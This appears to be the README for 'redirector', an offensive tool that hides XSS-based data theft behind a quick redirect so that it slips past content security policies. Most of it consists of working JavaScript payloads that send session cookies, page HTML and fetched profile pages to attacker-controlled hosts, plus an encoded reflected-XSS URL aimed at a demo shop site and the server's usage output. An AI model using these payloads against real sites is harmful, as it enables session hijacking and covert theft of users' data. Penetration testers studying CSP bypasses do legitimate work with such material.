redirector is a tool for a "seamless" redirect-based exfiltration in websites with a content security policy which restricts out-of-band communication.
in most cases, when content security policy is configured, any requests to external hosts within the javascript context are blocked. this makes data exfiltration challenging.
one workaround is to use redirects:
window.location = 'https://attacker-site.org/'+document.cookie;this however is not optimal, since the victim will notice a redirect
redirector enables a "seamless" redirection:
- xss payload is executed and redirects to the redirector server
- redirector extracts the target url and the payload data from the request
- then it redirects the victim to the target url
this process manifests itself to the victim as a quick reload. in case of reflected xss its practically invisible
$ python3 redirector.py --help
▄▖ ▌▘ ▗
▙▘█▌▛▌▌▛▘█▌▛▘▜▘▛▌▛▘
▌▌▙▖▙▌▌▌ ▙▖▙▖▐▖▙▌▌
usage: redirector.py [-h] [-l LISTENER] [-t SERVER_ADDRESS] [-s SEPARATOR] [--show-headers]
Dynamic redirection server for redirection-based exfiltration to bypass CSP
options:
-h, --help show this help message and exit
-l LISTENER, --listener LISTENER
listener address. default: 0.0.0.0:3343
-t SERVER_ADDRESS, --server_address SERVER_ADDRESS
external address of the server used in the javascript payload. default is the https://redirector.org
-s SEPARATOR, --separator SEPARATOR
separator for the target url and the data within the redirector url
--show-headers show all headers of the request
With great power comes great responsibility.
redirector expects the url to be in the following format:
{redirection-destination}{separator}{data}
- redirection-destination is where the redirector will forward the victim to
- separator marks where the destination ends and data begins. its
__rd__by default - data is the raw payload which we exfiltrate. for example:
document.cookie
the default payload is:
window.location='https://redirector.org/'+window.location.origin+'__rd__'+document.cookie;- here we steal
document.cookieand redirect the victim back to the main pagewindow.location.origin
if you need to adjust the redirection target, just change the window.location.origin to an other url.
Note
just be careful using window.location.href, since you might end up in an endless loop
this shows redirector in action when exfiltrating cookies from the ginandjuice.shop website.
network traffic shows redirection to our server and back to the specified target url
start the redirector server
python3 redirector.py
using the following xss payload we can steal the cookies from the ginandjuice.shop:
window.location='http://localhost:3343/https://ginandjuice.shop/catalog?searchTerm=test__rd__'+document.cookie
we can encode the payload and put it into one of the reflected xss vulnerabilities to get this url
https://ginandjuice.shop/catalog?searchTerm=test%5C%27%3Bwindow.location=String.fromCharCode(104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,51,51,52,51,47,104,116,116,112,115,58,47,47,103,105,110,97,110,100,106,117,105,99,101,46,115,104,111,112,47,99,97,116,97,108,111,103,63,115,101,97,114,99,104,84,101,114,109,61,116,101,115,116,95,95,114,100,95,95)%2bdocument.cookie%3B%2F%2F
this website does not implement CSP, but we pretend that it does :)
window.location='https://attacker-site.org/'+window.location.origin+'__rd__'+encodeURI(document.documentElement.innerHtml);
- if you use a reverse proxy you might need to adjust the max url length
- nginx:
client_header_buffer_size 5120k;
- nginx:
- some browsers show parts of the exfiltrated data in the hash part after the redirect. i am not sure why
- when exfiltrating html content, you might be limited by the browser's url length restrictions. in that case you can use
encodeURIComponent(c.replaceAll(/\s{2,}/g,"")which removes repeating whitespace shortening the data a bit
fetch("https://victim-site.org/profile").then(resp => resp.text()).then(c => window.location='https://attacker-site.org/'+window.location.origin+'__rd__'+encodeURIComponent(c));

